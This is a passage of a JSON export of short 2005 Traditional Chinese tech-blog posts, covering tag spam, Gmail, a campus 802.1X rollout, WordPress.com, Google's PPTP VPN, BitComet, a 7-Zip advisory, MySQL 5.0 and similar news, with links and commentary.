    "body": "這其實是測試版本，用 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox 1.5 Beta</a> 的人可以裝這個版本：<a href=\"http://www.mozdev.org/pipermail/greasemonkey/2005-September/005671.html\">[Greasemonkey] Greasemonkey 0.6.1.4 - works with the FF 1.5 beta :-)</a>。\r\n\r\n把附件抓下來以後將 .bin 改成 .xpi，再拉進 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 裡面就可以裝了。",
    "title": "Greasemonkey 0.6.1.4"
  },
  {
    "id": "118",
    "body": "我前幾天有講到現有 ouiouioui 模式的不可行性：<a href=\"http://blog.gslin.org/archives/2005/09/15/115/\">現有「ouiouioui 共筆書籤」的不可行性</a>，而且我們也可以看到 tag spam 不斷的發生：以道德為最後防線的系統，是擋不住 spammer 的攻擊的。\r\n\r\n舉例來說，今天又看到有人在賣瓜了：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/44244971/\"><img src=\"http://static.flickr.com/31/44244971_ef3ca96559.jpg?v=0\" alt=\"\" /></a>\r\n\r\n道德絕對不能是最後的防線，而應該是輔佐的工具。\r\n\r\n舉個例子來說，你不覺得上街頭抗議、或是在 blog 上抱怨 mail spam 很多，「請 Spammer 不要再送」這種事情很鳥嗎？那相反過來，你為什麼要以道德標準來「勸導」Spammer？\r\n\r\ntag spammer 一定會愈來愈多，ouiouioui 如果要繼續下去，真正應該要作為最後的防線應該是以技術為底：不論是以評分系統來作為是否刊登的標準，或是以該篇文章被多位 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 或 <a href=\"http://www.furl.net/\" rel=\"tag\">furl</a> 收錄作為標準。\r\n\r\n所以我對於 <a href=\"http://www.oui-blog.com/reder\" rel=\"tag\">Reder</a> 在 comment 提到的說法不以為然：\r\n<blockquote>我剛剛回頭看了一下Oui-News的網站上都沒有一個聯結是連到當初quawn在Oui-Blog所張貼的那篇文章。而又再次觀察了一下會推薦的人，大致上就是那幾位前輩。我想這個計畫有繼續推展的必要，而不是因為一兩位spammer就宣告實驗失敗。況且有像gslin這樣的前輩會注意到spam的現象。XD</blockquote>",
    "title": "ouiouioui 的 tag spam"
  },
  {
    "id": "119",
    "body": "我之前其實不太用 <a href=\"http://mail.google.com/mail/\" rel=\"tag\">Gmail</a> 的，我所申請的 <a href=\"http://mail.google.com/mail/\" rel=\"tag\">Gmail</a> 都是拿來放資料庫的備份。(所以我有寫過一篇關於利用 <a href=\"http://www.gnupg.org/\" rel=\"tag\">GnuPG</a> 與 <a href=\"http://mail.google.com/mail/\" rel=\"tag\">Gmail</a> 備份 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 資料庫的文章)\r\n\r\n不過在上研究所以後，我發現時間應該浪費在美好的事物上，所以有很多需要花時間去瞭解 (以及 try and error) 的東西就慢慢沒在用了，有現成的方案就儘量用，沒有現成的方案才會自己弄。\r\n\r\n所以我後來把 <a href=\"http://d2.nctu.edu.tw/\" rel=\"tag\">D2 信箱</a> (大學部) 的信轉到 <a href=\"http://mail.google.com/mail/\" rel=\"tag\">Gmail</a> 上面，然後把<a href=\"http://www.csie.nctu.edu.tw/\" rel=\"tag\">交大資工所</a>的信也轉上來，強迫自己用，現在慢慢習慣了 :p (主要是以前沒有在用，沒有注意到某些功能，然後就會覺得不好用)\r\n\r\n呃... 你問我這篇的重點是什麼？只是碎碎念而已 :p",
    "title": "慢慢的習慣 Gmail"
  },
  {
    "id": "120",
    "body": "這是新的公告：\r\n<blockquote>為了解決宿舍嚴重的IP佔用以及病毒問題，計算機與網路中心計畫在本學期全面啟用 802.1X 認證。\r\n\r\n相關設定請參考，http://ccca.nctu.edu.tw/802.1x/\r\n\r\n由於仍然有許多問題存在，測試時間將延長，從 9/19(一) 起至 9/23(五) 這五天每日20:00~22:00將會於全校宿舍測試啟用 802.1X ，以方便讓所有在校學生了解802.1X 的設定。每日會公布當日成功上線人數以方便讓大家了解測試結果。若測試順利，則將於 9/26 中午12:00全面啟用，屆時若使用者未設定正確，則將無法使用宿舍網路。若遇到問題可以打電話至 52833 或寄信至 netadm@ccca.nctu.edu.tw 與 CCCA 交通大學校園網路策進會連絡。</blockquote>\r\n上個禮拜測試 20:00 ~ 21:00 的情況是：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/44639599/\"><img src=\"http://static.flickr.com/29/44639599_5b997c48d3.jpg?v=0\" alt=\"\" /></a>\r\n\r\n有機會再來講。",
    "title": "IEEE 802.1X"
  },
  {
    "id": "121",
    "body": "<a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 最近想要發展一種 spam prevention method 取代現有的 Plugins，我猜他應該是想直接牽在 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 裡面：<a href=\"http://photomatt.net/2005/09/19/stop-spam-better/\">Stop Spam Better</a>。\r\n\r\n不過我很好奇的是，目前做得比較好的 Spam Prevention 幾乎是雞尾酒式的方法在抓，<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 真的做得過人家嗎 :p",
    "title": "Spam Prevention"
  },
  {
    "id": "122",
    "body": "打錯別人的名字是很不禮貌的，尤其是打錯 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 的名字一定會被拿出來婊兩下：<a href=\"http://www.boingboing.net/2005/09/19/funny_boinboing_typo.html\">Funny \"Boinboing\" typo in newspaper</a>。\r\n\r\n不過這些 editor 很明顯沒看過 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a>，也不常用 Internet，連個網路蟑螂的網頁都看不出來 XD",
    "title": "Boing Boing 與 BoinBoing"
  },
  {
    "id": "123",
    "body": "沒錯，<a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a>。\r\n\r\n我剛剛收到 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 的邀請信 (我有去填 invitation requesting)，看了一下發現他似乎是追著 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 1.6-ALPHA-2-still-dont-use 跑 (像是 Javascript 的淡出效果)。\r\n\r\nTheme 的部分... 有得獎的那幾個都有進去：\r\n<ul>\r\n\t<li>Almost Spring (之前用過)</li>\r\n\t<li>Blix (<a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao 天位大長輩</a> 現在用的那個)</li>\r\n\t<li>Connections (<a href=\"http://blake.yichi.org/\" rel=\"tag\">Blake 學長</a> 用的那個)</li>\r\n\t<li>Green Marinée (這也很讚，可是好像沒看到誰在用？)</li>\r\n\t<li>Ocadia (我現在用的這個)</li>\r\n\t<li>Pool (這我沒印象)</li>\r\n\t<li>兩個 WordPress 內建的 Theme</li>\r\n</ul>\r\n然後也可以 Upload files，可以上傳 <code>jpg/jpeg/png/gif/mp3/mov</code> (怎麼只有 mov？綁標啊！)，單檔限制 1.5MB，總空間限制 25MB。\r\n\r\n另外就是可以控制的部分少很多，不過對於一般的 User 來說應該還不錯就是了，不用顧慮一堆有的沒的 bugfix 之類的問題 :p",
    "title": "WordPress.com"
  },
  {
    "id": "124",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上的文章：<a href=\"http://it.slashdot.org/article.pl?sid=05/09/20/1238212\">Is Yahoo Actively Supporting Adware?</a>。\r\n\r\n這是一家與 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 完全不同的哲學：Do no evil，從 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 必須申請 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 帳號的事件也可以看的出來。\r\n\r\nbtw，comment 很有趣，可以看一看。",
    "title": "信任問題：Yahoo!"
  },
  {
    "id": "125",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 以及好幾個站台看到的消息：<a href=\"http://slashdot.org/article.pl?sid=05/09/20/1243224\">Google WiFi+VPN Confirmed</a>。\r\n\r\n實際上 <a href=\"https://wifi.google.com/download.html\" rel=\"tag\">Google Secure Access</a> 走的是 PPTP 加密，提供 Private IP 給你，再透過美東的某個 ISP 連出去。所以從台灣使用會覺得很慢，因為連台灣的網站會先連到美東再連回台灣。\r\n\r\n而在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的 comments 裡面也寫的很清楚了，<a href=\"https://wifi.google.com/download.html\" rel=\"tag\">Google Secure Access</a> 看起來接受 CHAP 與 MS-CHAPv1，都是相當舊的 Protocol，事實上並不是想像中的暴力高加密... 是不是 \"Secure\" 請自己多判斷吧 :p\r\n\r\n<strong>Update</strong>：你可以自己把 CHAP &amp; MS-CHAPv1 拿掉，還是可以連 :)",
    "title": "Google VPN"
  },
  {
    "id": "126",
    "body": "<a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 0.60 其實釋出一陣子了，重灌後才發現出新版了... 這次根本是直接丟了一顆炸彈下來，把 P-Cube 這類的東西炸死：(from <a href=\"http://www.bitcomet.com/doc/changelog.htm\">Changelog</a>)\r\n<blockquote>Core Improved: add protocol header encrypt option</blockquote>\r\n這項功能預設是 \"Auto\"：當雙方都使用 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a>，或是使用支援 Header Encryption 的 Client 時，就會自動啟動，如同 forum 上說的：\r\n<blockquote>You'll only be able to perform the header encryption function between clients that support the function and have it enabled. So as ddominey86 said above, this feature won't be doing much until many more people start using clients that support it.\r\n\r\nIf a client were to modify the header information of bittorrent packets and send them to a 'normal' client (one that doesn't support this new function), the data would be unusable and discarded.</blockquote>\r\n不知道原廠 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 會不會支援...",
    "title": "BitComet 0.60"
  },
  {
    "id": "127",
    "body": "我在 <a href=\"http://blog.gslin.org/archives/2005/09/07/106/\">CSS-based Slashcode 測試中</a> 有提到當時 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 在測試 CSS 版本，今天上去看就發現好像不太一樣，看了 html source 發現開頭就不一樣了：(之前是 HTML 3.2)\r\n<blockquote><code>&lt;!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\r\n            \"http://www.w3.org/TR/html4/strict.dtd\"&gt;</code></blockquote>\r\nNice job...",
    "title": "Slashdot CSS"
  },
  {
    "id": "128",
    "body": "呃... 我覺得 <a href=\"http://www.russellbeattie.com/\" rel=\"tag\">Russell Beattie</a> 只差沒說這句話了：<a href=\"http://www.russellbeattie.com/notebook/1008631.html\">Why I Might Switch Back…</a> 洋洋灑灑列了三十三項 :p\r\n\r\n喔，別忘了下面的 comment，<a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 也跑來湊熱鬧 :p",
    "title": "Mac is suck"
  },
  {
    "id": "129",
    "body": "在 Windows 下我一直都用 <a href=\"http://www.7-zip.org/\" rel=\"tag\">7-Zip</a>，常看到的格式都可以解 (對我來說，能解 zip、rar 兩種最常看到的格式就好了)，另外一個重要的原因是 Open Source (<a href=\"http://www.gnu.org/copyleft/lesser.html\" rel=\"tag\">GNU LGPL</a>) &amp; Free (at price)。\r\n\r\n剛剛在 <a href=\"http://www.frsirt.com/english/\" rel=\"tag\">FrSIRT</a> 看到 <a href=\"http://www.7-zip.org/\" rel=\"tag\">7-Zip</a> 的 Security Advisory：<a href=\"http://www.frsirt.com/english/advisories/2005/1827\">7-Zip ARJ Archive Handling Client-Side Buffer Overflow Vulnerability</a>，指出了 <a href=\"http://www.7-zip.org/\" rel=\"tag\">7-Zip</a> 處理 ARJ 壓縮格式的部分有安全性問題...\r\n\r\n手上還沒更新到 4.27 beta 的更新一下吧 :p",
    "title": "7-Zip Security Issue"
  },
  {
    "id": "130",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/46034551/\"><img src=\"http://static.flickr.com/26/46034551_a38c40b302.jpg?v=0\" alt=\"\" style=\"float: left; margin-right: 1em;\" /></a> <a href=\"http://www.flickr.com/photos/gslin/46034552/\"\"><img src=\"http://static.flickr.com/32/46034552_13bce150d9.jpg?v=0\" alt=\"\" style=\"float: left; margin-right: 1em;\" /></a> 看到 <a href=\"http://www.gameimp.com/\" rel=\"tag\">南宮博士</a> 這篇「<a href=\"http://www.gameimp.com/archives/2005/09/24/590/\">[PnP]電源插座的歷史遺憾</a>」就讓我想到昨天又買了一個延長插座 -_-\r\n\r\n兩個電風扇、ADSL 數據機、Switch、電腦、螢幕、喇叭，如果要充電 (手機、Notebook) 的時候還要再一個插頭... 這樣會不會炸啊 o_O",
    "title": "插座"
  },
  {
    "id": "131",
    "body": "下面是我在 tw.bbs.campus.nctu (== nctu.talk) 發表的文章，電話是快六點的時候接到的...\r\n<blockquote><pre>作者: DarkKiller (悸動) 看板: nctu.talk\r\n標題: Re: 802.1X 與 RFC\r\n時間: Sat Sep 24 21:28:37 2005\r\n\r\n老師好，\r\n\r\n※ 引述《ltc@xx.nctu.edu.tw》之銘言：\r\n&gt; 其它管制衝 IP 的技術必須定時從 router 取得 IP、MAC table，從 switch 取得\r\n&gt; MAC、switch port table，做交叉比對，代價太高，因為上網連線時間平均值，絕\r\n&gt; 對遠大於抓取table 的時間，跟連線、離線紀錄負擔差太多。\r\n\r\n今天有個女生打電話到我家裡的 ADSL 附掛電話，接起來聽聲音不知道是誰，\r\n我也不清楚他怎麼拿到這隻附掛電話的號碼。\r\n\r\n對話的過程大概是這樣：\r\n\r\n女：你是 DK 嗎？\r\n\r\n我：啊？ (楞了一下)\r\n\r\n女：你是 DarkKiller 嗎？\r\n\r\n我：呃... (問題不是我是不是 DK，問題是你怎麼知道這隻號碼？)\r\n\r\n女：你負責 802.1X 的部分嗎？\r\n\r\n我：呃... (我的精神狀態持續 ... 中)\r\n\r\n女：我以前也管過網路，現在住在女二舍，為什麼要啟動 802.1X 才能防止衝\r\n    IP 啊？\r\n\r\n我：呃... (還在恍惚，正想要回答的時候女生又繼續講)\r\n\r\n女：我記得學校用的是 Cisco 2950，不是每個 Port 設一組 ACL 擋 source\r\n    IP 就好了嗎？幹嘛又要啟動 802.1X 又要鎖 MAC address？\r\n\r\n我：呃... 你說的好像也對... (好強... *震驚*)\r\n\r\n女：那就不要再用 802.1X 了啊，blah blah... (後面幾句沒在聽了，然後她\r\n    就掛電話了)\r\n\r\n我：... (這是哪位大神啊)\r\n\r\n然後我覺得我的生命安全受到威脅，趕緊跑出去跟學長去清大夜市吃晚餐，還\r\n順便跟學長猜了老半天「這個人是誰」，剛剛才回到家。\r\n\r\n但是我覺得這位女二舍的同學 (學姐？) 說的有些道理：\r\n\r\n* 如果要管制衝 IP，只要對每個 Port 設 ACL 正向表列每個 Port 可使用的\r\n  source IP address，總共 48 組。\r\n\r\n  以 ARP 的行為來說，現有的設備沒有辦法阻止衝 IP 的現象發生，但可以利\r\n  用 ACL 設定到「如果不使用正確的 IP 就不會通」，而降低衝 IP 的意願。\r\n\r\n另外給女二舍的大神：\r\n\r\n我沒有負責處理 802.1X 啊，您弄得到我的電話代表您神通廣大，您應該也弄\r\n得到負責人的電話，不要打給我抱怨啊 =_=\r\n\r\n--\r\n                                                Resistance is futile.\r\n                           http://blog.gslin.org/ &amp; &lt;gslin@gslin.org&gt;</pre></blockquote>",
    "title": "IEEE 802.1X"
  },
  {
    "id": "132",
    "body": "剛剛逛 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 看到的：<a href=\"http://www.kevinstock.com/osx/googlevpn/\">Google Secure Access on Mac OS X</a>，簡單來說 <a href=\"http://wifi.google.com/download.html\" rel=\"tag\">Google Secure Access</a> 的程式只是幫你去 <a href=\"https://vpn.google.com/getpass/\">https://vpn.google.com/getpass/</a> 取得帳號密碼 (會傳回一份 XML data)，然後塞到 PPTP 設定裡面。\r\n\r\n所以其他 OS 的使用者如果真的想用 <a href=\"http://wifi.google.com/download.html\" rel=\"tag\">Google Secure Access</a>，其實可以自己手動做這件事情 XD",
    "title": "Google Secure Access 的最後一個關卡"
  },
  {
    "id": "133",
    "body": "<a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 5.0「餅乾版」釋出 (我很喜歡這個詞，可是我忘記是誰開始用的)：<a href=\"http://developers.slashdot.org/article.pl?sid=05/09/27/1222208\">MySQL 5.0 Candidate Released</a>、<a href=\"http://www.mysql.com/news-and-events/news/article_959.html\">MySQL 5.0 Release Candidate Available. Win an iPod nano!</a>。\r\n\r\n<a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 5.0 在某些機器上已經跑了一陣子 (當初是為了 VIEW 的功能使用 5.0)，用了幾個月下來還算蠻穩定的。(如果不會用到奇怪的功能...)\r\n\r\n<strong>Update</strong>：<a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 在他的 blog 上介紹了一下 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 5.0：<a href=\"http://jeremy.zawodny.com/blog/archives/005429.html\">MySQL 5.0 Release Candidate Available</a>。",
    "title": "MySQL 5.0"
  },
  {
    "id": "134",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到英國的 <a href=\"http://www.bethere.co.uk/\" rel=\"tag\">Be</a> 這家公司提供了 24M/1.3M 的寬頻網路，只要£24：<a href=\"http://it.slashdot.org/article.pl?sid=05/09/26/2142245\">24 Mb Consumer Broadband Launched</a>。\r\n\r\n£24 換算台幣約 NTD$1416 (<a href=\"http://tw.stock.yahoo.com/d/c/ex.php\">匯率換算 - Yahoo!奇摩股市</a>)，再將國民生產毛額 <a href=\"http://en.wikipedia.org/wiki/Gross_national_product\" rel=\"tag\">GNP</a> 差距 (以英國 USD$23680/year，台灣 USD$13950/year 計算) 換算進去，給台灣人的感覺大約是 NTD$834？hmmm...\r\n\r\n另外對 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> peering 的費用調降不少後，似乎還是沒看到各 ISP 對 end user 的動作？(還是都拿去調降機房費用了？)",
    "title": "英國的 24Mbps 寬頻網路"
  },
  {
    "id": "135",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到的太陽能手提包：<a href=\"http://hardware.slashdot.org/article.pl?sid=05/09/26/1546219\">Solar-powered Handbag</a>，要把太陽能拿來做什麼呢？照亮包包裡面的物品 XD\r\n\r\n<a href=\"http://news.bbc.co.uk/\" rel=\"tag\">BBC</a> 在 <a href=\"http://news.bbc.co.uk/2/hi/technology/4268644.stm\">報導</a> 裡面寫的相當巧妙：\r\n<blockquote>The contents of a woman's handbag have long remained a mystery - often even to the owner - but a new design offers to shine a light on the problem.</blockquote>\r\n我笑到肚子痛了 :~",
    "title": "太陽能手提包"
  },
  {
    "id": "136",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到為了要用 <a href=\"http://www.remotesensing.org/libtiff/\" rel=\"tag\">libtiff</a> 的 security hole 進行 hacking，所以 <a href=\"http://www.sonyxteam.com/\" rel=\"tag\">SonyxTeam</a> 放出了一個 Downgrade Software (噗)：<a href=\"http://games.slashdot.org/article.pl?sid=05/09/27/2242233\">PSP Firmware Downgrader Released</a>。",
    "title": "PSP Firmware Downgrade"
  },
  {
    "id": "137",
    "body": "居然 <a href=\"http://forevergeek.com/\" rel=\"tag\">ForeverGeek</a> 看到這個老消息：<a href=\"http://forevergeek.com/news/yet_another_gmail.php\">Yet Another Gmail</a>，講 Gmail.cn 的問題...",
    "title": "另外一個 Gmail..."
  },
  {
    "id": "138",
    "body": "在六月的時候 <a href=\"http://www.mpaa.org/\" rel=\"tag\">MPAA</a> 放棄 <a href=\"http://en.wikipedia.org/wiki/Broadcast_flag\" rel=\"tag\">Broadcast Flag</a> (在 <a href=\"http://gslin.org/2005/06/02/1276/\" rel=\"tag\">Broadcast Flag</a> 這篇有提到)，結果剛剛在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.mpaa.org/\" rel=\"tag\">MPAA</a> 又拿出 <a href=\"http://en.wikipedia.org/wiki/Broadcast_flag\" rel=\"tag\">Broadcast Flag</a> 出來：<a href=\"http://politics.slashdot.org/article.pl?sid=05/09/27/181214\">Broadcast Flag Back in Congress</a>。\r\n\r\n不過這種東西跟區碼一樣... hmmm...",
    "title": "Broadcast Flag"
  },
  {
    "id": "139",
    "body": "<a href=\"http://www.dreamhost.com/r.cgi?cwyeh\" rel=\"tag\">DreamHost</a> 的 Shared Hosting 不限制 Domain 數量了：\r\n<blockquote>Unlimited Domains and Sub-Domains for all! (New Feature)\r\n\r\nPosted: Sep 27th, 2005 - 01:30:00 PM PST (6 hours 1 min ago)\r\n\r\nHey Just-Became-Happier DreamHost Customers!\r\n\r\nIn honor of our 8th birthday, as of right now, all our shared hosting plans have been upgraded to include unlimited fully-hosted domains and sub-domains, forever!\r\n\r\nYou don't have to do anything, we've retro-actively applied this to all current customer plans. Happy Birthday to us!\r\n\r\nEnjoy,\r\nThe Happy DreamHost Doooooommmmmmmmmmmmaaaaaaaaaaiiiinnnnnnnnnsssss Team!</blockquote>",
    "title": "DreamHost Shared Hosting 不限制 Domain 數量了"
  },
  {
    "id": "140",
    "body": "<a href=\"http://www.ilovejackdaniels.com/\" rel=\"tag\">Dave Child</a> 的最新作品：<a href=\"http://www.ilovejackdaniels.com/design/html-character-entities-cheat-sheet/\">HTML Character Entities Cheat Sheet</a>。\r\n\r\n網路上有很多 Cheat Sheets，但很少像他這樣做在一張裡面 (而且還提供 PDF &amp; PNG 兩種格式)，印出來很方便：<a href=\"http://www.ilovejackdaniels.com/cheat-sheets/\">Cheat Sheets</a>。",
    "title": "HTML Character Entities Cheat Sheet"
  },
  {
    "id": "141",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的報導，<a href=\"http://www.ssh.com/\" rel=\"tag\">SSH Communications</a> (當初發展 SSH Protocol 的公司) 認為 <a href=\"http://www.openssh.org/\" rel=\"tag\">OpenSSH</a> 的品質不足以成為企業級的產品：(<a href=\"http://developers.slashdot.org/article.pl?sid=05/09/28/2018209\">SSH Claims Draw Open Source Ire</a>)\r\n<blockquote>OpenSSH is not an enterprise-class product that is needed for the demands of a large-scale deployment. We do not compare OpenSSH to our SSH Tectia solution, since it's far from the same,</blockquote>\r\n可是 <a href=\"http://www.openssh.org/\" rel=\"tag\">OpenSSH</a> 的佔有率遠遠超越其他人 XD\r\n<blockquote>However, OpenSSH is very popular and is commonly deployed in almost all BSD, Unix and Linux systems. More than 87 percent of Internet-facing servers were using OpenSSH, according to an OpenSSH Internet scan in September 2004.</blockquote>\r\n這段 Comment 直接說明了 <a href=\"http://www.ssh.com/\" rel=\"tag\">SSH Communications</a> 的氣量：\r\n<blockquote>They claimed OpenSSH was not \"enterprise ready\". Pointing out that many, many enterprises not only use it, but build it into their products is a fairly compelling rebuttal.\r\n\r\nThey are either using their own private definition of \"enterprise\" that doesn't include organisations like Cisco, or they are lying. Either way, they are discredited.</blockquote>",
    "title": "OpenSSH 與 SSH Communications 的 SSH"
  },
  {
    "id": "142",
    "body": "在 <a href=\"http://www.zdnet.com/\" rel=\"tag\">ZDNet</a> 上面這篇 <a href=\"http://blogs.zdnet.com/web2explorer/index.php?p=20\">The Web-based Office will have its day</a> 列出了一張表，顯示了有一卡車的廠商與社群不斷嘗試透過瀏覽器建立 Web-based Applications。(<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>：<a href=\"http://slashdot.org/article.pl?sid=05/09/29/000223\">Early AJAX Office Applications</a>)\r\n\r\n裡面有以前就一直被大家注意的 (用的人也蠻多的) <a href=\"http://www.meyerweb.com/eric/tools/s5/\" rel=\"tag\">S5</a>、常常被拿出來當作 <a href=\"http://en.wikipedia.org/wiki/AJAX\" rel=\"tag\">AJAX</a> 示範的 <a href=\"http://www.aypwip.org/webnote/\" rel=\"tag\">Webnote</a>、前幾天才出現的 <a href=\"http://whatsnew.mail.yahoo.com/\" rel=\"tag\">The latest from Yahoo! Mail</a>，當然，還有帶動 <a href=\"http://en.wikipedia.org/wiki/AJAX\" rel=\"tag\">AJAX</a> 風潮的 <a href=\"http://mail.google.com/mail/\" rel=\"tag\">Gmail</a>。",
    "title": "Web-based Applications"
  },
  {
    "id": "143",
    "body": "從 <a href=\"http://glinden.blogspot.com/\" rel=\"tag\">Geeking with Greg</a> 的 <a href=\"http://glinden.blogspot.com/2005/09/googles-bigtable.html\">Google's BigTable</a> 得知 Jeff Dean 將在 10/18 在 <a href=\"http://www.washington.edu/\" rel=\"tag\">華盛頓大學</a> 講 BigTable：\r\n<blockquote>BigTable is a system for storing and managing very large amounts of structured data. The system is designed to manage several petabytes of data distributed across thousands of machines, with very high update and read request rates coming from thousands of simultaneous clients. In this talk, Jeff will discuss the basic design of BigTable and its implementation, provide some performance measurements, and outline some current applications of the system. He'll also touch on Google's future goals and directions for the system.</blockquote>\r\n屆時在 <a href=\"http://www.cs.washington.edu/news/colloq.info.html\">Colloquium and Televised Talk Information</a> 也可以看到轉播。",
    "title": "Google BigTable"
  },
  {
    "id": "144",
    "body": "在 <a href=\"http://www.simplebits.com/\" rel=\"tag\">SimpleBits</a> 看到 <a href=\"http://www.simplebits.com/notebook/2005/09/29/elfurl.html\">elfURL</a> 提到了 <a href=\"http://elfurl.com/\" rel=\"tag\">elfURL</a> 這個短網址服務，不過... <del datetime=\"2005-09-30T07:18:09+00:00\">沒提供 Bookmarklet 給大家用啊</del>，這樣用的人怎麼可能會多 :p 就算你提供 RSS 讓使用者觀察某個短網址的狀態，可是還是很難用啊 :p\r\n\r\nUpdate：<a href=\"http://blog.23corner.com/\" rel=\"tag\">shakalaca</a> 在 comment 指出其實有提供 Bookmarklet o_O",
    "title": "elfURL"
  },
  {
    "id": "145",
    "body": "<a href=\"http://www.digitalwall.com/\" rel=\"tag\">數位之牆</a> 的 <a href=\"http://www.digitalwall.com/scripts/display.asp?UID=311\">P2P 的罪與罰（二）貪婪的火燄</a> 這篇：\r\n<blockquote>如果商業化經營的P2P 軟體公司宣稱「我僅提供軟體不管用戶是否拿去侵權」都還是挨告，那麼宣稱「我僅提供搜尋結果而不管結果是否非法」的搜尋引擎，看起來真是被告得理所當然。\r\n\r\n這樣的思維還可以再無限上綱一些。例如對於提供ADSL服務的電信業者來說，宣稱「我僅提供連上網際網路的服務而不管用戶於網上是否從事侵權」，唱片業者當然也可以告，從前例來看勝訴機會頗高。\r\n</blockquote>\r\n從這樣說我們就可以知道黃先生...，因為在 <a href=\"http://law.moj.gov.tw/Scripts/Query4B.asp?FullDoc=%A9%D2%A6%B3%B1%F8%A4%E5&Lcode=K0060001\">電信法</a> <a href=\"http://law.moj.gov.tw/Scripts/Query1B.asp?no=1K00600018\">第 8 條</a> 是這樣寫：\r\n<blockquote><strong>電信之內容及其發生之效果或影響，均由使用電信人負其責任。</strong>\r\n以提供妨害公共秩序及善良風俗之電信內容為營業者，電信事業得停止其使用。\r\n擅自設置、張貼或噴漆有礙景觀之廣告物，並於廣告物上登載自己或他人之電話號碼或其他電信服務識別符號、號碼，作為廣告宣傳者，廣告物主管機關得通知電信事業者，停止提供該廣告物登載之電信服務。</blockquote>\r\n所以，你還覺得告的贏嗎？",
    "title": "P2P 的負責問題"
  },
  {
    "id": "146",
    "body": "剛剛在看 <a href=\"http://epaper.edu.tw/\" rel=\"tag\">教育部電子報</a> 發現的，看起來是用 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> (with almost-spring theme) 1.5 架的：<a href=\"http://epaper.edu.tw/epaperBlog/\" rel=\"tag\">教育部電子報哈燒話題</a>。\r\n\r\n不過似乎架很久才六篇啊... (第一篇是 4/1？噗 XD)",
    "title": "教育部的 Blog？"
  },
  {
    "id": "147",
    "body": "看到 <a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 用力諷刺 Web 1.0/2.0/2.1 就很好笑 XD\r\n<ul>\r\n\t<li><a href=\"http://jeremy.zawodny.com/blog/archives/005462.html\">Going to Web 1.0 this week?</a> (10/3 的 14:31 發表)</li>\r\n\t<li><a href=\"http://jeremy.zawodny.com/blog/archives/005464.html\">Going to Web 2.1 this week?</a> (10/3 的 15:47 發表，不到一個半小時 XD)</li>\r\n</ul>\r\n當然，這很有可能是因為他這個禮拜爛了好幾台電腦不太爽的關係 XD\r\n<ul>\r\n\t<li><a href=\"http://jeremy.zawodny.com/blog/archives/005470.html\">Three Computers Dead in One Week</a></li>\r\n</ul>",
    "title": "Web 1.0/2.0/2.1"
  },
  {
    "id": "148",
    "body": "喔，我還活著...\r\n\r\n<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb 太天位大長輩</a> 凌晨的時候告訴我 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 又在惡搞了，這次是 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a>：\r\n<blockquote><pre> 8761 10/08 02:34 收到 hlb          http://www.google.com/reader/lens/\r\n 8765 10/08 02:54 送給 hlb          速度好慢\r\n 8769 10/08 03:56 收到 hlb          十分盃塔\r\n 8770 10/08 03:56 送給 hlb          ...</pre></blockquote>\r\n呃，不只慢 (幹幹，超慢啊)，還很難用 XD 而且我把 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> export 出來的 opml 塞進去，就告訴我有問題 :~ 所以我還是繼續用 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 好了...\r\n\r\n如同 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao 太天位大長輩</a> 在 <a href=\"http://blog.ijliao.info/archives/2005/10/08/1819/\">Google Reader</a> 這篇所說的：\r\n<blockquote>到目前為止，最 Beta 的 Google Beta Service 